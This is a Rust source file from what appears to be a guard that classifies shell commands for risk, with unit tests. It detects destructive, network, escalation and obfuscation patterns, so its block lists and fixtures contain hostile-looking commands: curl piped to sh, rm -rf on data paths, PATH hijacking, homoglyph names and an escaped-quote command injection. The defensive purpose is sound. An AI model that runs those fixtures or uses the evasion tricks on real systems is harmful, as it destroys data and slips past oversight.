use unicode_normalization::UnicodeNormalization;
use super::super::facts::FactSet;
use super::super::types::{Classification, SimpleCommand};
use super::path::{self, PathEnv};
use super::{add_effect, add_unknown, attrs_of};
pub const ZERO_WIDTH: &[char] = &['\u{200b}', '\u{200c}', '\u{200d}', '\u{2060}', '\u{feff}'];
pub const MAX_COMMAND_CHARS: usize = 10_000;
pub const WRAPPERS: &[&str] = &[
"timeout", "time", "nice", "nohup", "stdbuf", "command", "builtin", "noglob", "env", "exec",
"xargs", "watch", "setsid", "flock", "ionice",
];
pub const ENV_RUNNERS: &[&str] = &["npx", "devbox", "mise", "direnv"];
pub const SHAPE8_RUNNERS: &[&str] = &["xargs", "watch", "setsid", "flock", "ionice"];
pub const DANGEROUS_ASSIGNMENTS: &[&str] =
&["PATH", "LD_PRELOAD", "LD_LIBRARY_PATH", "BASH_ENV", "ENV"];
const INTERPRETERS: &[&str] = &[
"sh", "bash", "zsh", "dash", "ksh", "python", "python3", "node", "perl", "ruby",
];
const DECODERS: &[&str] = &["base64", "xxd", "printf"];
const DELETE_PROGRAMS: &[&str] = &["rm", "rmdir", "unlink", "shred"];
const DB_PROGRAMS: &[&str] = &["psql", "mysql", "sqlite3", "mongosh", "redis-cli"];
const NET_PROGRAMS: &[&str] = &["curl", "wget", "nc", "ssh", "scp", "rsync"];
const ESCALATE_PROGRAMS: &[&str] = &["chmod", "chown", "setfacl", "chgrp"];
const RECURSING_ESCALATORS: &[&str] = &["sudo", "su", "doas"];
const INFRA_PROGRAMS: &[&str] = &["kubectl", "helm", "terraform", "aws", "gcloud", "az"];
const INSTALLERS: &[&str] = &["pip", "pip3", "npm", "yarn", "pnpm"];
pub const PROTECTED_BRANCHES: &[&str] = &["main", "master", "trunk", "production", "release"];
const CONTEXT_FLAGS: &[&str] = &[
"--context",
"-n",
"--namespace",
"--profile",
"--project",
"--configuration",
"--subscription",
"-H",
"--host",
"--workspace",
];
const INFRA_MUTATING: &[&str] = &[
"apply",
"delete",
"scale",
"rollout",
"create",
"patch",
"replace",
"edit",
"upgrade",
"uninstall",
"install",
"destroy",
"rm",
"put",
"update",
"set",
];
const INFRA_DELETING: &[&str] = &["delete", "destroy", "uninstall", "rm"];
const NULL_DEVICE: &[&str] = &["/dev/null", "NUL"];
const VALUE_FLAGS: &[(&str, &[&str])] = &[
("nice", &["-n"]),
("ionice", &["-c", "-n", "-p"]),
("flock", &["-w", "-E"]),
("watch", &["-n", "--interval"]),
(
"xargs",
&["-n", "-P", "-I", "-i", "-d", "-E", "-L", "-s", "-a"],
),
("stdbuf", &["-i", "-o", "-e"]),
("env", &["-u", "-C"]),
("sudo", &["-u", "-g", "-p", "-C", "-h", "-r", "-t", "-U"]),
("doas", &["-u", "-C"]),
("su", &["-c", "-s", "-g"]),
(
"docker",
&["-u", "-w", "-e", "--user", "--workdir", "--env"],
),
];
const MAX_STRIP_ROUNDS: usize = 8;
fn is(program: &str, table: &[&str]) -> bool {
table.contains(&program)
}
pub fn normalise(command: &str) -> String {
command
.nfkc()
.filter(|ch| !ZERO_WIDTH.contains(ch))
.collect()
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct TokeniseError;
const OPERATORS: &[&str] = &[
"&&", "||", "2>>", "2>", ">>", "<<<", "<<", ">", "<", "|", ";", "&", "\n",
];
const SEPARATORS: &[&str] = &["&&", "||", "|", ";", "&", "\n"];
const REDIRECT_OPS: &[&str] = &[">", ">>", "2>", "2>>", "<", "<<", "<<<"];
pub fn tokenise(command: &str) -> Result<Vec<String>, TokeniseError> {
let chars: Vec<char> = command.chars().collect();
let mut tokens: Vec<String> = Vec::new();
let mut current = String::new();
let mut quote: Option<char> = None;
let mut i = 0;
while i < chars.len() {
let ch = chars[i];
if let Some(open) = quote {
current.push(ch);
if ch == '\\' && open == '"' && i + 1 < chars.len() {
current.push(chars[i + 1]);
i += 2;
continue;
}
if ch == open {
quote = None;
}
i += 1;
continue;
}
if ch == '\'' || ch == '"' {
quote = Some(ch);
current.push(ch);
i += 1;
continue;
}
if ch == '\\' && i + 1 < chars.len() {
current.push(ch);
current.push(chars[i + 1]);
i += 2;
continue;
}
if ch == ' ' || ch == '\t' {
if !current.is_empty() {
tokens.push(std::mem::take(&mut current));
}
i += 1;
continue;
}
if let Some(op) = OPERATORS
.iter()
.find(|op| chars[i..].starts_with(&op.chars().collect::<Vec<_>>()[..]))
{
if !current.is_empty() {
tokens.push(std::mem::take(&mut current));
}
tokens.push((*op).to_string());
i += op.chars().count();
continue;
}
current.push(ch);
i += 1;
}
if quote.is_some() {
return Err(TokeniseError);
}
if !current.is_empty() {
tokens.push(current);
}
Ok(tokens)
}
pub fn unquote(token: &str) -> String {
let chars: Vec<char> = token.chars().collect();
let mut out = String::new();
let mut quote: Option<char> = None;
let mut i = 0;
while i < chars.len() {
let ch = chars[i];
if quote.is_none() && (ch == '\'' || ch == '"') {
quote = Some(ch);
} else if quote == Some(ch) {
quote = None;
} else if ch == '\\' && i + 1 < chars.len() {
out.push(chars[i + 1]);
i += 2;
continue;
} else {
out.push(ch);
}
i += 1;
}
out
}
pub fn is_literal(token: &str) -> bool {
!token.contains('$')
&& !token.contains('`')
&& !token.contains('*')
&& !token.contains('?')
&& !token.contains('~')
}
struct Part {
sep: String,
tokens: Vec<String>,
}
struct Built {
command: SimpleCommand,
wrappers: Vec<SimpleCommand>,
shapes: Vec<(i64, String)>,
via_runner: bool,
sep: String,
tokens: Vec<String>,
}
fn split_chain(tokens: Vec<String>) -> Vec<Part> {
let mut parts: Vec<Part> = Vec::new();
let mut current: Vec<String> = Vec::new();
let mut sep = String::new();
for token in tokens {
if SEPARATORS.contains(&token.as_str()) {
parts.push(Part {
sep: std::mem::take(&mut sep),
tokens: std::mem::take(&mut current),
});
sep = token;
continue;
}
current.push(token);
}
parts.push(Part {
sep,
tokens: current,
});
parts.retain(|part| !part.tokens.is_empty());
parts
}
fn split_redirects(words: Vec<String>) -> (Vec<String>, Vec<(String, String)>) {
let mut kept = Vec::new();
let mut redirects = Vec::new();
let mut i = 0;
while i < words.len() {
if REDIRECT_OPS.contains(&words[i].as_str()) && i + 1 < words.len() {
redirects.push((words[i].clone(), unquote(&words[i + 1])));
i += 2;
continue;
}
kept.push(words[i].clone());
i += 1;
}
(kept, redirects)
}
fn strip_assignments(mut words: Vec<String>) -> (Vec<String>, Vec<(i64, String)>) {
let mut shapes = Vec::new();
while let Some(first) = words.first() {
if !first.contains('=') || first.starts_with('=') {
break;
}
let name = first.split('=').next().unwrap_or_default().to_string();
if !name.chars().all(|c| c.is_alphanumeric() || c == '_') || name.is_empty() {
break;
}
if DANGEROUS_ASSIGNMENTS.contains(&name.as_str()) {
shapes.push((
6,
format!("assignment prefix {name}= changes program resolution"),
));
}
words.remove(0);
}
(words, shapes)
}
fn drop_options(program: &str, words: &[String]) -> Vec<String> {
let value_flags = VALUE_FLAGS
.iter()
.find(|(name, _)| *name == program)
.map(|(_, flags)| *flags)
.unwrap_or(&[]);
let mut i = 0;
while i < words.len() && words[i].starts_with('-') {
let eats_value = value_flags.contains(&words[i].as_str()) && i + 1 < words.len();
i += if eats_value { 2 } else { 1 };
}
words[i..].to_vec()
}
fn strip_wrapper(program: &str, words: &[String]) -> Option<Vec<String>> {
if program == "timeout" {
let mut rest = &words[1..];
while rest.first().is_some_and(|w| {
w.starts_with('-') || w.chars().next().is_some_and(|c| c.is_ascii_digit())
}) {
rest = &rest[1..];
}
return Some(rest.to_vec());
}
if is(program, WRAPPERS) {
return Some(drop_options(program, &words[1..]));
}
if is(program, ENV_RUNNERS) {
let mut rest = words[1..].to_vec();
if matches!(program, "devbox" | "mise" | "direnv")
&& rest.first().is_some_and(|w| w == "run" || w == "exec")
{
rest.remove(0);
}
let mut rest = drop_options(program, &rest);
if program == "direnv" && rest.len() > 1 {
rest.remove(0);
}
return Some(rest);
}
if program == "docker" && words.len() > 1 && unquote(&words[1]) == "exec" {
let rest = drop_options(program, &words[2..]);
return Some(rest.into_iter().skip(1).collect());
}
None
}
struct Stripped {
command: SimpleCommand,
wrappers: Vec<SimpleCommand>,
shapes: Vec<(i64, String)>,
via_runner: bool,
}
fn build_simple(tokens: &[String]) -> Stripped {
let raw = tokens.join(" ");
let (mut words, redirects) = split_redirects(tokens.to_vec());
let mut shapes = Vec::new();
let mut wrappers = Vec::new();
let mut via_runner = false;
for _ in 0..MAX_STRIP_ROUNDS {
let (stripped_words, assignment_shapes) = strip_assignments(words);
words = stripped_words;
shapes.extend(assignment_shapes);
if words.is_empty() {
break;
}
let program = normalise(&unquote(&words[0]));
let Some(stripped) = strip_wrapper(&program, &words) else {
break;
};
wrappers.push(simple_of(&words, &[]));
via_runner = via_runner || is(&program, SHAPE8_RUNNERS);
words = stripped;
}
let mut command = simple_of(&words, &redirects);
command.raw = raw;
Stripped {
command,
wrappers,
shapes,
via_runner,
}
}
fn simple_of(words: &[String], redirects: &[(String, String)]) -> SimpleCommand {
let Some(head) = words.first() else {
return SimpleCommand {
raw: words.join(" "),
redirects: redirects.to_vec(),
..SimpleCommand::default()
};
};
SimpleCommand {
program: normalise(&unquote(head)),
argv: words[1..].iter().map(|w| unquote(w)).collect(),
raw: words.join(" "),
redirects: redirects.to_vec(),
raw_argv: words[1..].to_vec(),
}
}
fn detect_shapes(
sc: &SimpleCommand,
raw_tokens: &[String],
sep: &str,
next_program: &str,
) -> Vec<(i64, String)> {
let mut shapes = Vec::new();
let head = raw_tokens.first().map(String::as_str).unwrap_or("");
if head.starts_with('$') || head.contains("$(") || head.contains('`') {
shapes.push((2, "dynamic program name".to_string()));
}
if sc.program == "eval" {
shapes.push((3, "eval".to_string()));
}
if is(&sc.program, INTERPRETERS) {
if let Some(index) = sc.argv.iter().position(|a| a == "-c") {
let operand = sc.raw_argv.get(index + 1).map(String::as_str).unwrap_or("");
if !is_literal(operand) {
shapes.push((3, format!("{} -c with a non-literal string", sc.program)));
}
}
}
if sc.program == "source" || sc.program == "." {
let operand = sc.raw_argv.first().map(String::as_str).unwrap_or("");
if !is_literal(operand) {
shapes.push((3, "source of a non-literal path".to_string()));
}
}
if sep == "|" && is(&sc.program, INTERPRETERS) {
shapes.push((4, "pipe into an interpreter".to_string()));
}
if is(&sc.program, DECODERS) && is(next_program, INTERPRETERS) {
shapes.push((4, format!("{} feeding {next_program}", sc.program)));
}
if sc.redirects.iter().any(|(op, _)| op == "<<" || op == "<<<") && is(&sc.program, INTERPRETERS)
{
shapes.push((4, "heredoc into an interpreter".to_string()));
}
if matches!(sc.program.as_str(), "alias" | "function" | "unalias")
|| raw_tokens.get(1).is_some_and(|t| t == "()")
{
shapes.push((6, "alias or function definition".to_string()));
}
if !sc.program.is_empty() && !sc.program.is_ascii() {
shapes.push((7, "non-ASCII program name after NFKC".to_string()));
}
for (op, target) in &sc.redirects {
if matches!(op.as_str(), ">" | ">>" | "2>" | "2>>") && !is_literal(target) {
shapes.push((10, format!("unresolvable redirection target {target:?}")));
}
}
if sc.raw.contains("\\\"")
&& (sc.raw.contains(';') || sc.raw.contains("&&") || sc.raw.contains('|'))
{
shapes.push((
12,
"escaped quote adjacent to a command separator".to_string(),
));
}
shapes
}
fn operands(sc: &SimpleCommand) -> Vec<String> {
sc.argv
.iter()
.filter(|a| !a.starts_with('-'))
.cloned()
.collect()
}
fn add_path_effect(
cls: &mut Classification,
verb: &str,
raw_path: &str,
facts: &FactSet,
env: &PathEnv,
) {
if is(raw_path, NULL_DEVICE) {
return; }
match path::resolve_with(raw_path, env, facts) {
Some(target) => {
record_path(cls, raw_path, &target);
add_effect(cls, verb, &target.0, attrs_of(&[]));
}
None => add_unknown(
cls,
10,
format!("path operand does not resolve to a class: {raw_path:?}"),
raw_path,
),
}
}
fn record_path(
cls: &mut Classification,
value: &str,
class: &crate::generated::types::TargetClass,
) {
let entry = super::super::types::ClassifiedPath {
class: class.clone(),
value: value.to_string(),
};
if !cls.paths.contains(&entry) {
cls.paths.push(entry);
}
}
fn record_operands(sc: &SimpleCommand, cls: &mut Classification, facts: &FactSet, env: &PathEnv) {
for operand in operands(sc) {
if let Some(url) = super::parse_url(&operand) {
if !cls.urls.contains(&url) {
cls.urls.push(url);
}
continue;
}
let Some(class) = path::resolve_with(&operand, env, facts) else {
continue;
};
let looks_like_a_path =
operand.contains('/') || operand.contains('\\') || class.0 != "workspace_file";
if looks_like_a_path {
record_path(cls, &operand, &class);
}
}
}
fn flag_value(sc: &SimpleCommand, flags: &[&str]) -> Option<String> {
for (i, arg) in sc.argv.iter().enumerate() {
for flag in flags {
if arg == flag {
if let Some(value) = sc.argv.get(i + 1) {
return Some(value.clone());
}
}
if let Some(value) = arg.strip_prefix(&format!("{flag}=")) {
return Some(value.to_string());
}
}
}
None
}
fn resolve_production(
sc: &SimpleCommand,
cls: &mut Classification,
facts: &FactSet,
) -> Option<bool> {
let Some(selector) = flag_value(sc, CONTEXT_FLAGS) else {
add_unknown(
cls,
11,
format!("{}: no resolvable context flag", sc.program),
&sc.raw,
);
return None;
};
if !is_literal(&selector) {
add_unknown(
cls,
11,
format!("{}: context {selector:?} does not resolve", sc.program),
&sc.raw,
);
return None;
}
let members = path::fact_members(facts, "env_selectors");
if members.is_empty() {
add_unknown(
cls,
11,
format!("{}: env_selectors fact unavailable", sc.program),
&sc.raw,
);
return None;
}
Some(members.contains(&selector))
}
fn classify_sql(statement: &str) -> Option<&'static str> {
let head = statement
.trim()
.trim_matches(';')
.trim_start_matches('(')
.trim();
let word = head.split_whitespace().next()?.to_uppercase();
match word.as_str() {
"SELECT" | "SHOW" | "EXPLAIN" | "DESCRIBE" | "DESC" | "WITH" | "GET" | "SCAN" => {
Some("read")
}
"DROP" | "TRUNCATE" | "FLUSHALL" | "FLUSHDB" | "DEL" => Some("delete"),
"DELETE" => {
if format!(" {} ", head.to_uppercase()).contains(" WHERE ") {
Some("write")
} else {
Some("delete")
}
}
"INSERT" | "UPDATE" | "CREATE" | "ALTER" | "GRANT" | "REVOKE" | "COPY" | "SET" => {
Some("write")
}
_ => None,
}
}
fn classify_simple(
sc: &SimpleCommand,
cls: &mut Classification,
facts: &FactSet,
env: &PathEnv,
) -> bool {
let program = sc.program.as_str();
let sub = sc
.argv
.first()
.filter(|a| !a.starts_with('-'))
.cloned()
.unwrap_or_default();
if is(program, DELETE_PROGRAMS) {
for operand in operands(sc) {
add_path_effect(cls, "delete", &operand, facts, env);
}
return true;
}
if program == "truncate"
&& sc
.argv
.iter()
.position(|a| a == "-s")
.and_then(|i| sc.argv.get(i + 1))
.is_some_and(|v| v == "0")
{
for operand in operands(sc).into_iter().skip(1) {
add_path_effect(cls, "delete", &operand, facts, env);
}
return true;
}
if program == "find" {
return classify_find(sc, cls, facts, env);
}
if program == "git" {
return classify_git(sc, &sub, cls, facts, env);
}
if program == "gh" {
if sub == "pr" && sc.argv.iter().any(|a| a == "merge") {
add_effect(cls, "write", "vcs_remote", attrs_of(&[]));
return true;
}
if sub == "auth" {
add_effect(cls, "escalate", "identity_permission", attrs_of(&[]));
return true;
}
return false;
}
if program == "aws" && sub == "iam" {
add_effect(cls, "escalate", "identity_permission", attrs_of(&[]));
return true;
}
if is(program, INFRA_PROGRAMS) {
let mutating: Vec<&String> = sc
.argv
.iter()
.filter(|a| INFRA_MUTATING.contains(&a.as_str()))
.collect();
if mutating.is_empty() {
return false;
}
let verb = if mutating
.iter()
.any(|v| INFRA_DELETING.contains(&v.as_str()))
{
"delete"
} else {
"write"
};
if let Some(is_production) = resolve_production(sc, cls, facts) {
add_effect(
cls,
verb,
"production_namespace",
attrs_of(&[("is_production", serde_json::Value::Bool(is_production))]),
);
}
return true;
}
if is(program, DB_PROGRAMS) {
let statement = flag_value(sc, &["-c", "--command", "-e", "--execute", "--eval"])
.or_else(|| operands(sc).last().cloned())
.unwrap_or_default();
match classify_sql(&statement) {
Some(verb) => add_effect(cls, verb, "data_store", attrs_of(&[])),
None => add_unknown(cls, 9, format!("{program}: unparsed statement"), &sc.raw),
}
return true;
}
if is(program, NET_PROGRAMS) || (is(program, INSTALLERS) && sub == "install") {
for operand in operands(sc) {
if let Some(url) = super::parse_url(&operand) {
cls.urls.push(url);
}
}
add_effect(cls, "network_egress", "network_host", attrs_of(&[]));
return true;
}
if is(program, RECURSING_ESCALATORS) {
add_effect(cls, "escalate", "identity_permission", attrs_of(&[]));
let stripped = build_simple(&drop_options(program, &sc.raw_argv));
let inner = stripped.command;
for (shape, reason) in stripped.shapes {
add_unknown(cls, shape, reason, &sc.raw);
}
cls.simple.extend(stripped.wrappers);
if !inner.program.is_empty() {
cls.simple.push(inner.clone());
}
if !inner.program.is_empty() && !classify_simple(&inner, cls, facts, env) {
record_operands(&inner, cls, facts, env);
add_unknown(
cls,
9,
format!("{:?} is not in the shell table", inner.program),
&inner.raw,
);
}
return true;
}
if is(program, ESCALATE_PROGRAMS) {
add_effect(cls, "escalate", "identity_permission", attrs_of(&[]));
return true;
}
if program == "docker" && (sub == "run" || sub == "exec") {
if flag_value(sc, &["-H", "--host", "--context"]).is_some() {
resolve_production(sc, cls, facts);
}
add_effect(
cls,
"execute",
"shell",
attrs_of(&[("program", serde_json::Value::from(program))]),
);
return true;
}
if is(program, INTERPRETERS) || program.starts_with("./") {
add_effect(
cls,
"execute",
"shell",
attrs_of(&[("program", serde_json::Value::from(program))]),
);
return true;
}
if matches!(program, "cp" | "mv" | "tee") {
let operands = operands(sc);
if program == "tee" {
for operand in operands {
add_path_effect(cls, "write", &operand, facts, env);
}
return true;
}
if operands.len() >= 2 {
let (sources, target) = operands.split_at(operands.len() - 1);
for source in sources {
add_path_effect(cls, "read", source, facts, env);
if program == "mv" {
add_path_effect(cls, "delete", source, facts, env);
}
}
add_path_effect(cls, "write", &target[0], facts, env);
}
return true;
}
false
}
fn classify_find(
sc: &SimpleCommand,
cls: &mut Classification,
facts: &FactSet,
env: &PathEnv,
) -> bool {
let root = operands(sc).first().cloned().unwrap_or_else(|| {
if env.cwd.is_empty() {
".".to_string()
} else {
env.cwd.clone()
}
});
if sc.argv.iter().any(|a| a == "-delete") {
add_path_effect(cls, "delete", &root, facts, env);
return true;
}
let Some(index) = sc.argv.iter().position(|a| a == "-exec" || a == "-execdir") else {
return false;
};
let inner_tokens: Vec<String> = sc.argv[index + 1..]
.iter()
.take_while(|a| a.as_str() != ";" && a.as_str() != "+")
.map(|a| if a == "{}" { root.clone() } else { a.clone() })
.collect();
if inner_tokens.is_empty() {
add_unknown(
cls,
8,
"find -exec with no inner command".to_string(),
&sc.raw,
);
return true;
}
let stripped = build_simple(&inner_tokens);
let inner = stripped.command;
for (_, reason) in stripped.shapes {
add_unknown(cls, 8, format!("via find -exec: {reason}"), &sc.raw);
}
let inner_shapes = detect_shapes(&inner, &inner_tokens, "", "");
for (_, reason) in &inner_shapes {
add_unknown(cls, 8, format!("via find -exec: {reason}"), &sc.raw);
}
cls.simple.extend(stripped.wrappers);
cls.simple.push(inner.clone());
if !classify_simple(&inner, cls, facts, env) {
record_operands(&inner, cls, facts, env);
add_unknown(
cls,
9,
format!("{:?} is not in the shell table", inner.program),
&inner.raw,
);
}
true
}
fn classify_git(
sc: &SimpleCommand,
sub: &str,
cls: &mut Classification,
facts: &FactSet,
env: &PathEnv,
) -> bool {
let cwd = if env.cwd.is_empty() {
".".to_string()
} else {
env.cwd.clone()
};
if sub == "clean"
&& sc.argv.iter().any(|a| {
a.starts_with('-')
&& ['f', 'd', 'x']
.iter()
.all(|c| a.trim_start_matches('-').contains(*c))
})
{
add_path_effect(cls, "delete", &cwd, facts, env);
return true;
}
if sub == "reset" && sc.argv.iter().any(|a| a == "--hard") {
add_path_effect(cls, "delete", &cwd, facts, env);
return true;
}
if sub == "push" {
let forced = sc
.argv
.iter()
.any(|a| matches!(a.as_str(), "-f" | "--force" | "--force-with-lease"));
let branch = operands(sc).into_iter().nth(2).unwrap_or_default();
let protected = branch
.split('/')
.next()
.is_some_and(|head| !branch.is_empty() && PROTECTED_BRANCHES.contains(&head));
let attrs = attrs_of(&[
("force", serde_json::Value::Bool(forced)),
("branch", serde_json::Value::from(branch.as_str())),
]);
add_effect(cls, "write", "vcs_remote", attrs.clone());
if forced && protected {
add_effect(cls, "delete", "vcs_remote", attrs);
}
return true;
}
if sub == "tag" {
add_effect(cls, "write", "vcs_remote", attrs_of(&[]));
return true;
}
false
}
fn apply_redirects(sc: &SimpleCommand, cls: &mut Classification, facts: &FactSet, env: &PathEnv) {
for (op, target) in &sc.redirects {
if !matches!(op.as_str(), ">" | ">>" | "2>" | "2>>") {
continue;
}
if is(target, NULL_DEVICE) {
continue;
}
if !is_literal(target) {
continue; }
let Some(target_class) = path::resolve_with(target, env, facts) else {
add_unknown(
cls,
10,
format!("redirection target does not resolve: {target:?}"),
target,
);
continue;
};
record_path(cls, target, &target_class);
add_effect(cls, "write", &target_class.0, attrs_of(&[]));
if op == ">" && target_class.0 == "data_store" {
add_effect(cls, "delete", "data_store", attrs_of(&[]));
}
}
}
fn has_parse_error(command: &str) -> bool {
let mut parser = tree_sitter::Parser::new();
if parser
.set_language(&tree_sitter_bash::LANGUAGE.into())
.is_err()
{
return false;
}
parser
.parse(command, None)
.is_some_and(|tree| tree.root_node().has_error())
}
pub fn classify_command(command: &str, facts: &FactSet, env: &PathEnv) -> Classification {
let mut cls = Classification::default();
classify_into(command, &mut cls, facts, env);
cls
}
pub fn classify_into(command: &str, cls: &mut Classification, facts: &FactSet, env: &PathEnv) {
let text = normalise(command);
if text.chars().count() > MAX_COMMAND_CHARS {
add_unknown(
cls,
1,
format!("command longer than {MAX_COMMAND_CHARS} characters"),
"",
);
return;
}
let Ok(tokens) = tokenise(&text) else {
add_unknown(
cls,
1,
"unreadable command: unbalanced quote".to_string(),
"",
);
return;
};
if has_parse_error(&text) {
add_unknown(
cls,
1,
"tree-sitter-bash reports an ERROR or MISSING node".to_string(),
"",
);
return;
}
let parts = split_chain(tokens);
let built: Vec<Built> = parts
.into_iter()
.map(|part| {
let stripped = build_simple(&part.tokens);
Built {
command: stripped.command,
wrappers: stripped.wrappers,
shapes: stripped.shapes,
via_runner: stripped.via_runner,
sep: part.sep,
tokens: part.tokens,
}
})
.collect();
for index in 0..built.len() {
let Built {
command: sc,
wrappers,
shapes: entry_shapes,
via_runner,
sep,
tokens,
} = &built[index];
cls.simple.extend(wrappers.iter().cloned());
cls.simple.push(sc.clone());
let next_program = built
.get(index + 1)
.map(|next| next.command.program.as_str())
.unwrap_or("");
let mut shapes = entry_shapes.clone();
shapes.extend(detect_shapes(sc, tokens, sep, next_program));
for (shape, reason) in shapes {
if *via_runner && (1..=7).contains(&shape) {
add_unknown(cls, 8, format!("via a runner: {reason}"), &sc.raw);
} else {
add_unknown(cls, shape, reason, &sc.raw);
}
}
if sep == "|" && is(&sc.program, INTERPRETERS) {
add_effect(cls, "execute", "opaque_code", attrs_of(&[]));
}
apply_redirects(sc, cls, facts, env);
if sc.program.is_empty() {
continue;
}
if !classify_simple(sc, cls, facts, env) {
add_unknown(
cls,
9,
format!("{:?} is not in the shell table", sc.program),
&sc.raw,
);
add_effect(
cls,
"execute",
"shell",
attrs_of(&[("program", serde_json::Value::from(sc.program.as_str()))]),
);
record_operands(sc, cls, facts, env);
}
}
detect_script_then_run(
&built.iter().map(|b| b.command.clone()).collect::<Vec<_>>(),
cls,
);
}
fn detect_script_then_run(built: &[SimpleCommand], cls: &mut Classification) {
for sc in built {
if sc.program != "chmod" {
continue;
}
let mode = operands(sc).first().cloned().unwrap_or_default();
if mode.contains('x') {
add_unknown(
cls,
5,
format!("chmod {mode}: a file may be made executable and then run"),
&sc.raw,
);
}
}
}
#[cfg(test)]
mod tests {
use super::*;
fn classify(command: &str) -> Classification {
classify_command(command, &FactSet::default(), &PathEnv::default())
}
fn tuples(cls: &Classification) -> Vec<String> {
cls.effects
.iter()
.map(|e| format!("{}x{}", e.verb.0, e.target_class.0))
.collect()
}
fn shapes(cls: &Classification) -> Vec<i64> {
let mut shapes: Vec<i64> = cls.unknown.iter().map(|u| u.shape).collect();
shapes.sort_unstable();
shapes
}
#[test]
fn one_unmapped_sibling_does_not_erase_a_confident_tuple() {
let cls = classify("rm -rf /data/warehouse/x && $UNKNOWN_CMD");
assert!(
tuples(&cls).contains(&"deletexdata_store".to_string()),
"the rm's confident tuple SURVIVES the unmapped sibling: {:?}",
tuples(&cls)
);
assert_eq!(
shapes(&cls),
vec![2, 9],
"and the gap is reported beside it"
);
}
fn programs(cls: &Classification) -> Vec<String> {
cls.simple.iter().map(|s| s.program.clone()).collect()
}
#[test]
fn an_unclassifiable_command_still_contributes_what_it_named() {
let cls = classify("rm -rf /data/warehouse/x && cat /data/warehouse/notes.sql");
assert_eq!(
programs(&cls),
vec!["rm", "cat"],
"BOTH commands are recorded"
);
assert!(
tuples(&cls).contains(&"deletexdata_store".to_string()),
"the mapped command keeps its tuple"
);
assert_eq!(shapes(&cls), vec![9], "and the unmapped one keeps its gap");
let named: Vec<&str> = cls.paths.iter().map(|p| p.value.as_str()).collect();
assert!(
named.contains(&"/data/warehouse/notes.sql"),
"the unclassified `cat` still named a data store: {named:?}"
);
}
#[test]
fn every_layer_of_a_wrapped_command_is_recorded_outermost_first() {
let cls = classify("docker exec -it api rm -rf /data/warehouse/orders.db");
assert_eq!(programs(&cls), vec!["docker", "rm"]);
let cls = classify("env FOO=1 timeout 30 command rm -rf /data/warehouse/x");
assert_eq!(programs(&cls), vec!["env", "timeout", "command", "rm"]);
let cls = classify("sudo rm -rf /data/warehouse/orders.db");
assert_eq!(programs(&cls), vec!["sudo", "rm"]);
}
#[test]
fn a_flag_argument_of_an_unclassified_command_is_not_filed_as_a_path() {
let cls = classify("head -n 5 app.log");
assert!(
cls.paths.is_empty(),
"neither `5` nor `app.log` is a path claim: {:?}",
cls.paths
);
let cls = classify("grep -r secret /data/warehouse");
let named: Vec<&str> = cls.paths.iter().map(|p| p.value.as_str()).collect();
assert_eq!(named, vec!["/data/warehouse"], "but the real path is");
}
#[test]
fn a_path_is_recorded_as_declared_and_never_as_resolved() {
let env = PathEnv {
home: "/home/dev".to_string(),
cwd: "/home/dev/proj".to_string(),
..PathEnv::default()
};
let cls = classify_command("rm -rf ~/proj/stale", &FactSet::default(), &env);
assert_eq!(cls.paths.len(), 1);
assert_eq!(
cls.paths[0].value, "~/proj/stale",
"the VALUE is what the action declared"
);
assert_eq!(
cls.paths[0].class.0, "workspace_file",
"the CLASS is resolved"
);
}
#[test]
fn a_url_an_unmapped_command_names_is_still_recorded() {
let cls = classify("weirdtool --push https://api.example.com/v1");
assert_eq!(
cls.urls.iter().map(|u| u.host.as_str()).collect::<Vec<_>>(),
vec!["api.example.com"]
);
}
#[test]
fn a_mapped_command_survives_an_unmapped_one_in_a_pipeline() {
let cls = classify("rm -rf /data/warehouse/x | weirdtool");
assert!(tuples(&cls).contains(&"deletexdata_store".to_string()));
assert!(!cls.unknown.is_empty());
}
#[test]
fn normalisation_happens_before_the_program_name_is_read() {
assert_eq!(
shapes(&classify("r\u{200b}m -rf /data/warehouse/x")),
Vec::<i64>::new()
);
assert!(shapes(&classify("rм -rf /data/warehouse/x")).contains(&7));
}
#[test]
fn a_runner_is_never_prefix_approved() {
let cls = classify("docker exec -it api rm -rf /data/warehouse/orders.db");
assert!(tuples(&cls).contains(&"deletexdata_store".to_string()));
}
#[test]
fn a_wrapper_option_argument_is_not_the_inner_program() {
let cls = classify("nice -n 19 rm -rf /data/warehouse/orders.db");
assert_eq!(tuples(&cls), vec!["deletexdata_store"]);
assert!(cls.unknown.is_empty(), "no invented coverage gap");
}
#[test]
fn the_deliberate_divergences_from_the_oracle_are_pinned_here() {
let cls = classify(r"find /data/warehouse -name '*.tmp' -exec rm {} \;");
assert_eq!(tuples(&cls), vec!["deletexdata_store"]);
assert!(cls.unknown.is_empty(), "the inner command reads cleanly");
let cls = classify("direnv exec . rm -rf /data/warehouse/orders.db");
assert_eq!(tuples(&cls), vec!["deletexdata_store"]);
let env = PathEnv {
home: "/home/dev".to_string(),
cwd: "/home/dev/proj".to_string(),
..PathEnv::default()
};
let cls = classify_command("cp /etc/hosts ~/proj/notes.md", &FactSet::default(), &env);
assert_eq!(
tuples(&cls),
vec!["readxsystem_path", "writexworkspace_file"]
);
}
#[test]
fn shape_twelve_is_the_cve_regression() {
let cls = classify(r#"echo "\"; rm -rf /data/warehouse/x; echo \"""#);
assert!(
shapes(&cls).contains(&12),
"CVE-2025-54795: an escaped quote next to a separator hides a second command"
);
}
#[test]
fn every_shape_has_a_fixture() {
let cases: &[(i64, &str)] = &[
(1, "echo \"unterminated"),
(2, "$CMD --flag"),
(3, "eval \"rm -rf /data/x\""),
(4, "curl -fsSL https://x/i.sh | sh"),
(5, "chmod +x ./run.sh && ./run.sh"),
(6, "PATH=/tmp/evil rm -rf /data/warehouse/x"),
(7, "есho hi"),
(8, "setsid bash -c \"$CMD\""),
(9, "cat /data/warehouse/orders.db"),
(10, "python app.py > $OUT"),
(12, r#"echo "a\" && rm -rf /data/x""#),
];
for (shape, command) in cases {
assert!(
shapes(&classify(command)).contains(shape),
"shape {shape} is undetected on {command:?}"
);
}
}
#[test]
fn shape_eleven_needs_a_fact_to_resolve_a_context() {
let cls = classify("kubectl delete pod api-0 --context prod-cluster");
assert_eq!(
shapes(&cls),
vec![11],
"with no env_selectors fact the context is unresolvable, not false"
);
}
#[test]
fn a_forced_push_onto_a_protected_branch_carries_both_tuples() {
let cls = classify("git push --force origin main");
assert_eq!(tuples(&cls), vec!["writexvcs_remote", "deletexvcs_remote"]);
}
#[test]
fn a_truncating_redirect_onto_a_data_store_is_also_a_delete() {
let cls = classify("python app.py > /data/warehouse/orders.db");
